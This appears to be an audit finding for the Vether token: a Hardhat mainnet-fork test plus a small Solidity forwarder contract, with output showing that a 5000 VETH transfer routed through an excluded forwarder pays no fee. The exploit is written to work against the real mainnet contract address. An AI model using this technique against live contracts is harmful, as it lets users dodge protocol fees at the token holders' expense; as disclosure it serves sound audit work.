Transfer fee avoidance through forwarding contract

fee-avoidance-mainnet.js

const { expect } = require("chai")
const { waffle } = require("hardhat")
let provider = ethers.getDefaultProvider();

describe("transfer fee forwarder", function () {
  
  let mainnetVether;
  let transferForwarder;

  beforeEach(async () => {
    mainnetVether = await ethers.getContractAt("Vether4", "0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279");
    TransferForwarder = await ethers.getContractFactory("transferForwarder");
    transferForwarder = await TransferForwarder.deploy();
    
  })

  it("it should be possible to avoid fees through a transfer forwarder contract", async function () {
    
      //impersonate an account with a lot of VETH    
      await hre.network.provider.request({
        method: "hardhat_impersonateAccount",
        params: ["0x273ba31c706b9d9fdae1fd999183bfa865895be9"]}
      );
    
      //perform a normal transfer to show the fee cost    
      const signer = await ethers.provider.getSigner("0x273ba31c706b9d9fdae1fd999183bfa865895be9")
      const feesBefore = await mainnetVether.totalFees();
      await mainnetVether.connect(signer).transfer('0x82f8fe6cbb60074deb6bd95a4d5c4bc4f1a4ae48', '5000000000000000000000'.toString());
      const feesAfter = await mainnetVether.totalFees();
      console.log("5000 vETH transfer incurred this much fees through normal transfer: " + (feesAfter-feesBefore)/10**18 + " vETH");
    
      //create transfer forwarder
      console.log("creating a transfer forwarder at: " + transferForwarder.address);
      await mainnetVether.connect(signer).approve(mainnetVether.address, '128000000000000000000'.toString());
      await mainnetVether.connect(signer).addExcluded(transferForwarder.address);

      //forward transfer through the contract to avoid fees
      await mainnetVether.connect(signer).approve(transferForwarder.address, '5000000000000000000000'.toString());
      const feesBeforeForward = await mainnetVether.totalFees();
      await transferForwarder.connect(signer).forward('0x82f8fe6cbb60074deb6bd95a4d5c4bc4f1a4ae48', '5000000000000000000000'.toString());
      const feesAfterForward = await mainnetVether.totalFees();
      console.log("5000 vETH transfer incurred this much fees through forwarder contract: " + (feesAfterForward-feesBeforeForward)/10**18 + " vETH");
       
  });
  
})

output

  transfer fee forwarder
5000 vETH transfer incurred this much fees through normal transfer: 5 vETH
creating a transfer forwarder at: 0x322813Fd9A801c5507c9de605d63CEA4f2CE6c44
5000 vETH transfer incurred this much fees through forwarder contract: 0 vETH
    ✓ it should be possible to avoid fees through a transfer forwarder contract (2925ms)

transferForwarder.sol

pragma solidity 0.6.4;

import "../mainnet.sol";

contract transferForwarder{

    Vether4 public vether = Vether4(0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279);
    
    function forward(address to, uint amount) external {
        vether.transferFrom(msg.sender, address(this), amount);
        vether.transfer(to, amount);
    }
}